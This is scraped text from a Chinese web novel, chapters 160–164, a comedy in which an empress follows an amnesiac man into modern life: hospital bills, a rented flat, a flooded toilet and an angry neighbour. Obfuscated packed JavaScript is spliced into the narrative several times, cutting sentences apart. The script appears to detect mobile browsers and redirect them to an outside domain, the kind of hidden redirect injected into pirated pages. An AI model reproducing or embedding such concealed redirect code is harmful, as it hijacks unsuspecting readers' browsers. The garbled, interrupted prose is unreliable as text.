我都知道了,什么都知道了,从一开始你就是想回到你所那所谓的家对不对。 你知道你为什么不能回去吗,因为它好像是会征求我的话的,既然你这么喜欢回去,那好我成全你。 顾云舟看着她有些癫狂的模样,试图辩解一下,但听到萧青鸾说出系统的时,顿感不妙。 你...你要干什么? 萧青鸾嘴角勾勒出诡异的笑。 做什么?当然是送先生回去啦。 既然先生那么在意回去,那朕就陪先生一起咯。 那个什么系统,……送朕和先生,一起回去。 顾云舟心底股不祥的预感越来越高,想要上前,却发现自己动弹不一点。 【警告!检测到母宿主强烈意愿。本系统以核心能源为代价执行。目标:顾云舟原生世界(d地星)。完成后,系统将瓦解,目标子宿主的记忆将进入强制封印状态……】 开始执行... 在彻底失去意识的前一秒,他好像听到萧青鸾在他耳边是说着什么: “先生,这一次,换我去你的世界找你……你可要……等着我啊……” (知道大家觉得无聊,那就提前进入现代篇吧。) 第一百六十章 现代篇 (把这篇当新书看吧,女主增强了,脑子寄存处) 刺鼻的消毒水味,直接捅进了顾云舟的意识。 他猛地睁开眼。 映入眼帘的,是天花板,和一个挂着透明液体的输液架。 “嘶……” 后脑勺传来剧烈的头痛,太阳穴突突直跳,脑子里乱成一片浆糊。 除了几段混乱光影和**轰鸣,再也捞不出任何有用的东西。 我是谁? 我在哪儿? 我……被腰子噶了? 一连串哲学问题涌上心头,顾云舟下意识地想摸摸自己的后腰,却发现手臂沉重得厉害。 他只能费力地转动眼球,打量着这个陌生的环境。 单人病房,看样子还挺高级。 可他浑身上下,都透着一股穷酸味。 这地方,不像是他能消费得起的呀。 “吱呀” 房门被推开,一个穿着护士服,看起来四十多岁的大姐走了进来,手里拿着个记录板。 看到他睁着眼,大姐脸上露出温和的笑意。 “顾云舟先生,你醒了?感觉怎么样?有没有哪里不舒服?” 顾云舟? 是在叫我? 他张了张嘴,喉咙干得发疼,发出的声音更是沙哑难听:“我……叫顾云舟?” 护士大姐愣了一下,随即了然:“看来还是有影响。你别担心,医生说你是从楼梯上滚下来,轻微脑震荡,引发了暂时性的记忆混乱,休息几天就好了。” 楼梯上滚下来?这么逊的吗? 顾云舟努力在脑子里搜索“楼梯”这个关键词,结果只有一片404NotFound。 他抓住这根救命稻草,急切地问:“那……我是做什么的?家里还有什么人?” “这个我们就不清楚了。”护士麻利地给他更换输液瓶,一边说道,“送你来的是你的妻子,医药费也是她付的。她人就在……” 护士说着,下意识地朝病床旁的布帘看了一眼,最后只是拍了拍他的被子。 “你妻子照顾了你一天一夜,也累坏了,让她多休息会儿吧。有什么需要随时按铃。” 说完,护士大姐便离开了,留下顾云舟一个人在风中凌乱。 妻子? 我这个看起来活不过三集的龙套脸,居然已经英年早婚了? 而且,听护士的口气,我这位素未谋面的妻子,好像……有点特别? 他的目光,不由自主地投向了那边。 帘子后面静悄悄的,没有一丝声响,感觉根本没有人在里面。 但顾云舟却感到一种莫名的压迫感,好像有一道视线,牢牢地盯着他。 他舔了舔干裂的嘴唇,正准备开口。 “唰啦” 布帘,被一只素白纤细的手,缓缓拉开了。 顾云舟的呼吸,在这一刻停滞了。 帘子后面,一张椅子上,端坐着一个少女。 她穿着一身他只在古装剧里见过的繁复宫装,墨色的长发用一支简单的凤钗松松挽起,有几缕调皮地垂在白皙的脸颊旁。 那张脸,美得不像**。 眉如远山,眼若星辰,琼鼻樱唇,组合在一起,几乎夺走了整个病房的光彩。 但真正让顾云舟心头一跳的,是她的那双眼睛。 那是一双凤眼,眼尾微微上挑,本该是风情万种,此刻却盛满怪怪的感觉。 她就那么静静地看着他,也不说话,也没有其他动作 这画风……不对劲! 一个古装的美少女,出现在现代化的病房里,还是他的妻子。 古装?剧组?还是……我脑子里的新功能,自带弹窗广告? 顾云舟感觉自己的CPU快烧了:“你……是谁?” 少女站起身。 她的动作不快,缓步走到顾云舟的床前,垂下眼帘,长长的睫毛在眼下投出一片阴影。 然后,她开口了。声音清冷。 “先生,你醒了。” 顾云舟满脸问号。 先生? 这都什么年代的称呼了?横店跑出来的群演?入戏也太深了吧! 不等他吐槽,少女的下一句话,直接让他大脑宕机。 她微微倾身,一字一句,清晰地说道: “听好了,我是你的妻子,萧青鸾。” “……” 整个病房暂停了三秒钟。 顾云舟直勾勾地看着眼前这张近在咫尺的绝美脸庞,脑海里只剩下了一连串的问号。 妻子? 我他m……何德何能啊! “那个……姑娘,你是不是认错人了?或者……我们在拍戏?导演呢?摄像机在哪儿?” 萧青鸾的眉头蹙了一下,那双凤眼里毫不掩饰的疑惑:“拍戏?是何物?” 她似乎对这个词很陌生,随即又像是想通了什么,冷哼一声:“先生是在与我说笑?还是说,摔坏了脑子,连自己的发妻都不认得了?” 顾云舟:“……” 我信你个鬼! 他深吸一口气,决定跟这个“入戏太深”的cosplay爱好者讲讲道理:“这位……萧小姐是吧?你看,这里是医院,我是个病人。 你要是想玩cosplay,可以去漫展。咱们萍水相逢,就此别过,行不行?” “Cosplay?”萧青鸾歪了歪头,似乎在咀嚼这个词,随即凤眼一眯,一股迫人的气势扑面而来,“先生,我不管你口中那些听不懂的胡言乱语是何意。但有一点,你需记牢。” 她伸出一根手指,轻轻点在了顾云舟的胸口。 指尖冰凉。 “普天之下,莫非王土。” “先生之躯,亦属吾有。” “你是我的人,从头到脚,从里到外,连一根头发丝,都是我的。” 顾云舟彻底傻了。 大姐,你这台词也太中二了吧!现在的小姑娘都玩这么大的吗? 他看着萧青鸾那张写满了理所当然的脸,第一次开始认真怀疑,是不是自己真的有什么毛病。 难道……我真是个隐藏的富二代,娶了个爱好古代文化的奇女子,然后不慎失忆了? 这剧情,也太狗血了点吧! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201486|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >就在他胡思乱想之际,萧青鸾已经很自然地坐到了床沿,伸手探向他的输液管,仔细看了看流速,又摸了摸他的额头。 动作熟练又自然,就好像已经做过千百遍。 顾云舟浑身僵硬,一动不敢动。 这美女……虽然脑子好像有点问题,但长得是真好看啊。 被她手指触碰,他非但没觉得不适,反而……心跳还有点加速是怎么回事? 呸!顾云舟你个禽兽!连精神病患者的便宜都想占! “砰砰砰。” 敲门声响起,刚才那位护士大姐推门进来,手里拿着一张单子,脸上的表情有些为难。 “顾先生,萧小姐,不好意思打扰一下。那个……您住院费和治疗费,需要续一下了。” 钱! 这个字直接劈醒了还处于魔幻剧情中的顾云舟。 他立刻问道:“多少钱?” “今天的一共是一万三千二百五。”护士报出一个数字。 “一万三……抢钱呢”顾云舟倒吸一口香气。 他下意识地摸了摸自己的口袋,空的。 再看了看自己身上这件蓝白条纹的病号服,更是一穷二白。 完犊子了。 别说一万三,他现在连十三块都拿不出来。 他用求助的眼神看向那位自称是他妻子的美女。 只见萧青鸾听完护士的话,连眼皮都没抬一下,只是淡淡地挥了挥手,姿态优雅。 “区区黄白之物,何足挂齿。” 她侧过头,对着空无一人的门口,用一种理所当然的口吻吩咐道: “来人,将库房钥匙取来。” ..... 护士大姐张着嘴,手里拿着账单,用一种看傻子一样的眼神在顾云舟和萧青鸾之间来回扫视。 顾云舟恨不得找个地缝钻进去。 社死,这绝对是顶级的社死现场! 他终于确定了。 自己没疯。 疯的是眼前这个女人! 他挤出一个比哭还难看的笑容,对护士说:“那个……护士大姐,我们……我们商量一下,马上去筹钱,马上!” 护士狐疑地看了他们一眼,最终还是点点头,退了出去。 病房里,只剩下顾云舟和萧青鸾。 顾云舟看着这位女帝陛下,感觉自己的头更痛了。 现在的情况很明朗了。 他,一个失忆的穷光蛋,欠了一屁股医药费。 身边,还跟着一个沉浸在自己世界里的精神病患者。 这开局,怎么玩吧? 萧青鸾似乎完全没察觉到他的窘迫,反而伸出手,用指腹轻轻摩挲着他的脸颊,眼神里带着迷恋和……疯狂。 “先生,别怕。” 她的声音放得很轻,带着一丝蛊惑。 “有我在,这天下,无人敢伤你分毫。” “先生,记住,你是我一个人的。” 顾云舟僵硬地扯了扯嘴角,看着她那双认真的眼神,脑子里只剩下一个念头。 不是……这年头精神病院的病友,都这么入戏的吗? 第一百六十一章 金子 顾云舟感觉自己的脑仁又开始突突地跳了。 不是……这年头精神病院的病友,都这么入戏的吗? 他看着萧青鸾那双清澈又带着偏执的眼子,求生的本能压倒了一切。 他挤出个安抚性的微笑,一边手指悄悄摸向了床头的红色紧急呼叫按钮。 “别激动,别激动。”顾云舟用上了哄幼儿园小友的语气,“你说你是我的……妻子,对吧?行,我信,我信了还不行吗?” 先稳住她! 他的手指果断地按下了那个按钮。 哎,成了! 萧青鸾对他的小动作毫无察觉,听到他服软,眼里才露出满意的神色。 她嗯了一声,声线清冷:“先生本就该信我。” 顾云舟心里疯狂吐槽,嘴上却不敢停:“那……老婆大人,你看我这脑子不是摔坏了嘛。好多事都记不清了,你能不能提醒提醒我? 比如……咱们是啥时候结的婚?证领了吗?家住哪儿啊?” 他试图用现代社会的逻辑来套话,让问题付出水面。 然而萧青鸾只是静静地看着他,眼神从满意,逐渐转为失望,甚至带着受伤。 (内心os:嘿嘿) “先生,你竟连这些都忘了?” 她的声音很轻,敲得顾云舟心里一梗。 喂喂,不是,大姐,你这失望的表情也太真实了吧! 搞得我好像真是个拔x无情的渣男一样! 顾云舟一口气没上来,正想再说点什么,病房的门被砰地一声推开了。 一个穿着保安制服的年轻小伙,还有护士大姐冲了进来。 “顾先生!你怎么样?是不是哪里不舒服?”护士大姐一脸紧张。 救星来了! 顾云舟激动得差点从床上蹦起来,他一把指向萧青鸾:“护士大姐!保安大哥!就是她!我不认识她,她一直骚扰我,还非说是我老婆!你们快把她带走!” 年轻的保安小王一听,表情严肃地看向萧青鸾:“这位女士,请你立刻离开病房,不要影响病人休息!” 总算来了个讲道理的!顾云舟心中狂喜。 然而,下一秒,他脸上的笑容就僵住了。 只见萧青鸾缓缓站起身,之前那点少女的娇憨瞬间消失地无影无踪。她凤目清冷的目光扫过保安和护士,一股无形的压迫感瞬间笼罩了整个病房。 她甚至没看那两人,而是上前一步,将顾云舟严严实实地护在了身后。 “放肆!” 年轻的保安小王被这声呵斥震得一愣,竟下意识地停住了脚步。 萧青鸾侧过脸,冷冷地盯着他:“朕的夫君,岂是尔等可以随意碰的?” 朕? 保安小王和护士大姐面面相觑,这姑娘脑子有病? 顾云舟捂住了脸。 完了,社死现场两次,已经从单人尴尬变成了群体围观的公开处刑。 “咳咳,”护士大姐清了清嗓子,“这位……小姐,我们理解你的心情,但顾先生现在需要静养。你看你是不是先出去,等他情绪稳定了再说? 或者,我们帮你联系一下你的家人?” “朕,便是他的家人。”萧青鸾寸步不让,逻辑自成一派,“他的安危,由我负责。闲杂人等,退下。” 顾云舟在她身后疯狂摆手,用口型对护士说:“我不认识她!真不认识!” 可护士大姐看他的眼神,已经从同情病人变成了“唉小两口吵架真麻烦”的无奈。 保安小王又上前一步:“女士,请你配合我们的工作,不然我们要采取强制措施了!” “强制措施?你要对朕动武?” 她的话音刚落,顾云舟就感觉身边的空气都冷了几分。 他毫不怀疑,如果保安再往前一步,这位“女帝陛下”真的会动手。 这下麻烦大了!打伤了人,医药费不得赔破产? “等等等等!”顾云舟再也装不了**,他从萧青鸾身后探出头。 露出一个快要哭出来得笑,“误会,都是误会! 那个……这是我女朋友,我们……我们在玩角色扮演呢!对,角色扮演!她入戏太深了,我跟她说,我马上跟她说!” 他一边说,一边拼命给萧青鸾使眼色,压低声音求饶:“大姐,祖宗,算我求你了,别玩了行不行?再玩下去咱们俩都得被送进精神病院!” 萧青鸾却像是没听见他的话,只是冷冷地看着门外的两个人 场面彻底僵住了。 最终,还是护士大姐打破了沉默,她叹了口气,看向顾云舟:“顾先生,既然是这样,那你们自己解决。不过……医药费的问题……” 她晃了晃手里的催费单。 压力一下就落在在了顾云舟心头。 他彻底泄了气,靠在床头,生无可恋。 行吧,毁灭吧,赶紧的。 他扭头,看着萧青鸾,破罐子破摔地说:“看见没,女帝陛下,咱们欠钱了。没钱,就得被人赶出去。你的库房呢?你的黄白之物呢?拿出来啊。” 他本是随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202439|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口一说。 可没想到,萧青鸾听完,竟然真的拿出了一样东西 那是一块……一看就是古代工艺的……金元宝。 元宝上还刻着“大炎官造”四个小字。 顾云舟的眼珠子都快瞪出来了。 **? 真有? 这道具真的假的! 只见萧青鸾拿着那锭金元宝,迈着优雅的步伐,径直走到了护士面前。 她将金元宝“啪”地一声,拍在了护士大姐捧着的文件夹上,发出一声沉响。 “医药费,朕付了。” 她抬起下巴,神情倨傲,仿佛在做什么天经地义的施舍。 “剩下的,赏你了。” 护士大姐手一抖,文件夹差点掉在地上。她看着那块的黄金,又看了看萧青鸾,最后把求助的目光投向了顾云舟。 那眼神仿佛在说:这到底是什么情况!你们是在拍短视频吗! 顾云舟一个激灵,瞬间反应过来! 跑! 再不跑,等医院把这玩意儿当成假金报警,或者当成真金上报,都得惹上天大的麻烦! 他一把拔掉手背上的针头,也顾不上按住止血,从床上一跃而下,冲到萧青鸾身边,扛着她就往外冲。 “钱付清了!我们出院!不用找了!” 他拉着萧青鸾,像一阵风似的冲出病房,留下一屋子风中凌乱的医护人员。 两人一路狂奔,冲出住院部大楼,直到跑在车水马龙的大街,顾云舟才气喘吁吁地停下脚步。 午后的阳光有些刺眼,周围是鸣笛的汽车,行色匆匆的路人,还有高耸入云的玻璃幕墙大厦。 一切都是那么的真实,又那么的狗血。 顾云舟低头看了看自己。 身上是蓝白条纹的病号服,脚上只踩着一双医院的破烂塑料拖鞋。 他又看了看身边的萧青鸾。 一身繁复华丽的古代宫装,云鬓高耸,气质卓绝,与周围的现代都市格格不入,引得路人纷纷侧目,不少人已经掏出了手机。 顾云舟感觉一阵头皮发麻。 他,一个失忆的穷光蛋,穿着病号服。 她,一个疑似精神病患者的coser,穿着龙袍。 他们现在正站在人来人往的大街上,像两个刚从片场逃出来的傻子。 冷风一吹,顾云舟打了个哆嗦。 一个无比现实的问题涌上心头。 所以……现在该去哪儿? 总不能真睡天桥底下吧? 第一百六十二章 出租屋 大街上。 无数的目光扫过来。有好奇的有惊艳的更多的则是看神经病的。 而他身边这位,更是重量级。 一身华丽到不像话的古代宫装,仿佛不是来逛街,而是来登基。 萧青鸾倒是很镇定。她看着那些飞驰而过的铁皮盒子和高耸入云的建筑。 “妖物横行。”她冷冷吐出四个字,顺手抓紧了顾云舟的手臂。 力道之大,让顾云舟怀疑她想把自己的胳膊当场卸下来。 “大姐,那叫车,叫高楼大厦。还有,你能不能先松手?我快骨折了。” 萧青鸾瞥了他一眼,非但没松,反而握得更紧。 顾云舟懒得理她。他现在只想找个能呆的地方。 他开始在病号服那可怜的口袋里摸索。 谢天谢地,摸到了一串钥匙和一张硬卡片。 卡片是身份证,上面的照片看着挺帅,名字那一栏写着:顾云舟。 钥匙上还贴着有手写的几个字:城中村,柳巷路18号,302室。 这是他目前唯一的线索。 顾云舟深吸一口气,像是下定了某种决心,伸手拦车。 一辆绿色的出租车停在面前。司机探出头,叼着烟,眼神跟看外星人似的。 “搞咩啊?” 顾云舟把萧青鸾塞了进去,自己也钻了进去。 “师傅,柳巷路十八号。” 车子启动。 “此为何物?竟能自行移动?”萧青鸾伸手敲了敲车窗,满眼都是研究。 司机从后视镜里瞥了她一眼,乐了:“哟,小姑娘,拍戏呢?这叫车,不叫此为何物’。 顾云舟想死的心都有了。他只能尬笑:“对对对,拍戏,拍戏。她入戏深。” “何人驾驭?可需马匹?”萧青鸾又问。 司机大哥一脚油门,车子窜了出去,他乐呵呵地回道:“不用马,烧油的!我,老司机,驾驭它!” 萧青鸾若有所思地点点头,随即又发出了灵魂质问:“这铁兽以何为食?” “……它吃九十二号汽油。” “速度尚可,再快些。” “得嘞!” 顾云舟全程捂着脸。 车在一条狭窄拥挤的巷子口停下。空气里弥漫着复炸奇怪味道。 顾云舟付了车费,口袋里只剩下几张皱巴巴的零钱。他抬头看了看眼前这栋老旧的居民楼,墙皮剥落,电线像耳机一样缠绕。 这就是他家? 也太惨了吧。 两人一前一后往楼道里走。楼道里光线昏暗,墙上贴满了开锁通下水道的小广告。 一个地中海发型的中年男人正好从楼道里出来,看见顾云舟,眼睛一亮。 “小顾啊!出院了?正好,下个月房租该交了啊。” 男人叫王德发,是这栋楼的房东。 他的目光在萧青鸾身上滴溜溜转了一圈,露出一个男人都懂的笑容。 “可以啊小子,闷声发大财,什么时候搞了个这么顶的女朋友? 靓水哦,这身行头得不少钱吧?” 顾云舟脑仁嗡嗡作响,只能含糊道:“知道了发哥,过两天就交。” “别过两天啊,就明天。”王德发拍了拍他的肩膀,又朝萧青鸾挤了挤眼,“带这么漂亮的女朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202440|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友回来,可不能让人家睡大街不是?” 说完,他哼着小曲走了。 顾云舟感觉自己的血压又升高了。 他找到302室,用钥匙打开了那扇掉漆的铁门。 门一开,一股久未通风的霉味扑面而来。 不到三十平米的空间一览无余。一张床,一张桌子,一个衣柜。没了。 这就是他的寝宫。 萧青鸾踏入房间,环视一圈,眉头紧锁。 “先生,这便是你的寝宫?”她的声音里带着不可思议,“比冷宫的茅房还不如。” 顾云舟累了,不想说话,只想躺平。 可萧青鸾接下来的话,让他浑身汗**都竖了起来。 她话锋一转,嘴角却勾起一抹满意的弧度。 “不过……只你我二人,甚好。” 那语气,那眼神,就感觉他就是那只被圈养起来的宠物一样。 顾云舟再也绷不住了。 他猛地转身,冲进那唯一的卧室,砰的一声甩上门,咔哒反锁。 动作一气呵成。 世界终于清静了。 他靠在门上,大口大口地喘着粗气,心脏狂跳。 门外,萧青鸾的脚步声停在了门口。 咚,咚,咚。 敲门声响起,不疾不徐。 萧青鸾清冷的声音隔着薄薄的木门传来。 “先生,开门。” 顾云舟靠在门上,喘着粗气,不说话。 外面的声音顿了顿,随即吐出了两个字。 (男主呢就是记忆封,基本常识还是会的,女主呢后面会慢慢改变。) 第一百六十三章 此乃何物 顾云舟靠在冰冷的门板上, 他一夜没睡。 不是不想睡,是不敢睡。 天知道他睡着了,门外那个女人会干出什么事来。 他听着外面的动静,等了半宿,结果什么都没等到。 没有砸门,没有叫嚣,安静得可怕。 直到天色微亮,肚子里传来的咕噜声战胜了恐惧。 饿,太饿了。 再不找点吃的,他可能就要成为史上第一个饿死在自己卧室里的失忆者。 顾云舟深吸一口气,偷偷摸摸地拧开了门锁。 门开了。 他像个贼一样探出半个脑袋。 客厅里,萧青鸾端坐在那张破旧的布艺沙发上。 晨光透过没拉严的窗帘缝隙照在她身上,让她那身繁复的宫装看起来更加不真实。 她居然在沙发上坐了一夜? 顾云舟心里咯噔一下。这女人,不仅脑子有问题,身体还是铁打的? 萧青鸾听到开门声,眼睫微动,缓缓睁开眼。那眼里没有丝毫睡意,清冷依旧,直勾勾地锁定了他。 “先生,你醒了。” 她的语气平淡得像是在陈述一件理所当然的事。 顾云舟头皮发麻,决定无视她。 跟精神病人是讲不通道理的,他现在唯一的念头就是搞钱,然后交房租,最后想办法把这尊大神送走。 他的目光开始在屋里扫荡,最后锁定了床头柜上的手机。 有救了! 他一个箭步冲过去,抓起手机,长按开机键。 屏幕亮起,电量显示百分之三。 天不亡我! 顾云舟也顾不上萧青鸾那道能把他戳穿的目光,飞快地点开通讯录。 里面孤零零的几个联系人,其中一个备注是张站长。 他本能地觉得这个人很重要。 电话拨了出去。 “嘟……嘟……” “喂!顾云舟!**还知道打电话回来啊?!” 电话刚一接通,一声震耳欲聋的咆哮差点把顾云舟的魂都吼飞。 “我……” “我什么我!你小子一声不吭消失两天,电话不接信息不回,系统后台的单子都爆了! 你是不是不想干了?不想干了就滚蛋!有的是人想干!” 顾云舟被骂得狗血淋头,但脑子里却瞬间清晰了。 外卖!他是送外卖的! “站长,我……我前两天出了点意外,从楼梯上摔下来,脑子有点……” “少他妈给老子找借口!我管你从楼梯上摔下来还是从天上掉下来!今天之内,你要是再不滚回站点,这个月的工资一分都别想要!” “啪!” 电话被粗暴地挂断了。 顾云舟拿着手机,愣在原地。 虽然被骂得很难听,但至少,他找到了赚钱的方向。 他抬头,看了一眼还坐在沙发上的萧青鸾,只觉得一个头两个大。 他得赶紧去站点看看,不然房租没着落,两人真得睡大街。 “那个……”他清了清嗓子,试图跟她沟通,“我要出去一趟。” 萧青鸾站起身,裙摆无风自动,一步步向他走来。 顾云舟下意识地后退。 “我随你一同去。”她语气不容置喙。 “不行!”顾云舟想也不想就拒绝了。 开什么玩笑?带她去外卖站点?那画面太美他不敢想。 怕不是下一秒她就要指着站长的鼻子说“放肆,你敢对朕的男人如此无礼”。 “你必须待在这里。”顾云舟的语气也强硬起来,这是原则问题。 萧青鸾的眼神冷了下来。 顾云舟但还是硬着头皮,指着屋里那点可怜的家当。 “别乱走动,等我回来。” 说完,他逃也似的冲出家门。 顾云舟走后,狭小的出租屋里再次恢复了宁静。 萧青鸾站在原地,看着那扇被关上的铁门,眸光微沉。 不过很快,她便将注意力转移到了出租屋里。 她首先走到了厨房。 那个铁皮方盒子,她伸出纤纤玉指,轻轻拉开。 一股寒气扑面而来。 “冰?”她微微颔首,表示认可。虽小了些,倒也算精巧。 接着,她又看向旁边的灶台。上面有两个黑色的圆盘,旁边还有几个可以拧动的开关。 “此乃生火之器?”她若有所思。无需柴火,倒也方便。 巡视完厨房,她又踱步到客厅。 电视,电风扇,每一件物品她都仔细审视一番,并暗自与宫中的用具对比,时不时发出一两声轻哼。 最后,她的目光锁定在了角落里那扇唯一紧闭的木门上。 卫生间。 里面藏着什么? 萧青鸾毫不犹豫,伸手推开了门。 门内是一个更加狭小的空间,四壁都贴着雪白的方块。 正对着门的墙上,挂着一面巨大的水镜。 镜子清晰地映出了她的身影。 一身凤袍略显褶皱,发髻也有些许凌乱,脸色因一夜未眠而带着一丝苍白。但那双眼睛,依旧是睥睨天下的帝王之眼。 她对着镜中的自己端详片刻,还算满意。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206104|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 随即,她的视线缓缓下移,最终落在了那个造型奇特的“白玉宝座”上。 马桶。 它通体雪白,线条圆润, 这是何物? 宝座?用来打坐清修的? 萧青鸾带着探究的眼神,走上前,伸出手指轻轻敲了敲。 梆梆。 是瓷的。 她试探着坐了上去。 一股冰凉的触感从臀部传来,让她微微蹙眉。 看来不是宝座。 她站起身,目光扫过马桶的每一个角落,最后在侧面的水箱上,发现了一个可以按压的银色按钮。 机关? 强烈的好奇心驱使着她,伸出手指,按了下去。 一声巨响,马桶内平靜的水面瞬间破开,一个巨大的漩涡凭空出现,眨眼间便将所有的水都吸得一干二净。 ...... 顾云舟回来了,带着一肚子的气。 站点果然没让他失望,站长指着他的鼻子又是一顿臭骂,说他再敢玩消失就让他滚蛋,最后丢给他一套新的外卖服,让他明天准时报到。 他身心俱疲,只想回家躺平。 然而,刚走到三楼的楼道口,他就听到了一阵奇怪的水声。 哗啦啦……哗啦啦…… 像是……瀑布? 他心里升起一股不祥的预感,三步并作两步冲到家门口。 水! 水正从门缝里不断地涌出来,已经汇成了一条小溪,顺着楼梯往下流。 顾云舟的脑子“嗡”的一声,一片空白。 他颤抖着手,用钥匙打开门。 门一开,积蓄在屋里的水瞬间找到了宣泄口,哗的一下冲了出来,差点把他绊倒。 客厅已经成了一片**。 而水声的源头,正是那扇紧闭的卫生间门! “萧青鸾!” 顾云舟蹚着水就冲了过去。 他一把推开卫生间的门,眼前的景象让他毕生难忘。 水已经没过了脚踝,那个白色的马桶像是变成了喷泉,正源源不断地往外冒着水。 而萧青鸾,衣袖湿透地站在马桶边。 她看到顾云舟回来,脸上不仅没有丝毫慌乱,反而露出一抹邀功般的浅笑。 “先生放心,此物已被朕**!” 顾云舟顺着她的目光看去,只见马桶的水箱盖上,周围布满了蛛网般的裂痕。 **…… **个屁啊! 他看着一片狼藉的卫生间,听着楼下隐约传来的叫骂声,只觉得天旋地转。 他眼前一黑,差点当场去世。 第一百六十四章 邻居敲门 楼下泼妇骂街般的嗓门越来越近,伴随着咚咚咚的脚步声。 “开门!楼上的铺盖仔!给我开门!” 顾云舟一个激灵,差点被这河东狮吼送走。 他看着还在咕嘟咕嘟冒水的马桶,又看了看站在旁边一脸“快夸我”的萧青鸾,太阳穴突突直跳。 屋漏偏逢连夜雨。 不,他这屋子直接下起了瓢泼大雨。 “咚!咚!咚!” 门板被捶得像战鼓一样响。 “再不开门我报警了啊!” 报警? 顾云舟一个哆嗦。 他蹚着水冲到门口,深吸一口气,猛地拉开了门。 门口站着一个烫着卷发穿着花睡衣的中年大妈,一手叉腰,一手指着他的鼻子,嗓门大得能把楼道的灯震碎。 “好你个掉**!你家是养龙王爷啊?我家天花板都成水帘洞了!你看看!你看看我拍的视频!” 大妈把手机怼到顾云舟脸上,屏幕里她家卧室的天花板正淅淅沥沥往下滴水,跟盘丝洞似的。 顾云舟还没来得及说话,一道清冷的声音从他身后传来。 “放肆。” 萧青鸾缓步走了过来,湿透的裙摆在积水中拖曳,却丝毫不影响她身上那股生人勿近的气场。 她凤目微抬,扫了一眼门口咋咋呼呼的李秀梅。 “区区渗水,竟敢对朕的夫君大呼小叫?” 李秀梅的骂声戛然而止,嘴巴张得能塞下一个鸡蛋。 她看看眼前这个漂亮得不像话但脑子明显有问题的古装小姑娘,又看看一脸菜色的顾云舟,懵了。 玩cosplay玩到家里来了?小伙子玩的挺花啊。 顾云舟听得眼皮狂跳。 他现在想死的心都有了。 眼看李秀梅的脸色从错愕转为愤怒,顾云舟求生欲爆棚,一个箭步上前。 他一把将萧青鸾拉到了自己身后,用自己的身体挡住了李秀梅的视线。 “大姐!对不起!对不起!” 顾云舟九十度鞠躬,态度诚恳得像个犯了错的小学生。 “是我们的问题!是我没弄好!我赔!我一定赔偿您的所有损失!” 萧青鸾被他猛地一拉,踉跄了一下,随即宽阔的后背挡住。 她愣住了。 眼前是他湿透的后背,耳边是他低声下气的道歉声。 他……在保护她? 明明前一晚还怕她怕得要死,把自己锁在屋里。 明明他自己也狼狈不堪。 可是在这个“刁民”面前,他却下意识地挡在了她身前。 原来他心里还是有我的.... 李秀梅本来一肚子火,被萧青鸾那通话搞得差点憋出内伤,但顾云舟这认错态度极好的样子,让她满腔怒火没处发。 她重重哼了一声,指着屋里:“赔?你怎么赔?我那新刷的墙纸都泡了!还有我的吊灯!维修加误工费,少于两千块钱这事没完!” 两千? 顾云舟感觉自己的心脏一抽。 他全身上下加起来都不到二十块钱。 但他现在不能怂,只能咬着牙点头:“行!大妈!两千就两千!您看……能不能宽限两天?我马上就去筹钱。” “两天?”李秀梅眼睛一瞪,“今天!今天下午六点之前必须给我!不然我就去找房东!让房东把你们赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206105|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去!” 说完,她又狠狠瞪了一眼顾云舟身后的萧青鸾,骂骂咧咧地转身下楼了。 “神经病……” 顾云舟听着那远去的咒骂声,感觉全身的力气都被抽空了。 他“砰”地一声关上门,整个人像一滩烂泥,顺着门板滑坐在了冰冷的水里。 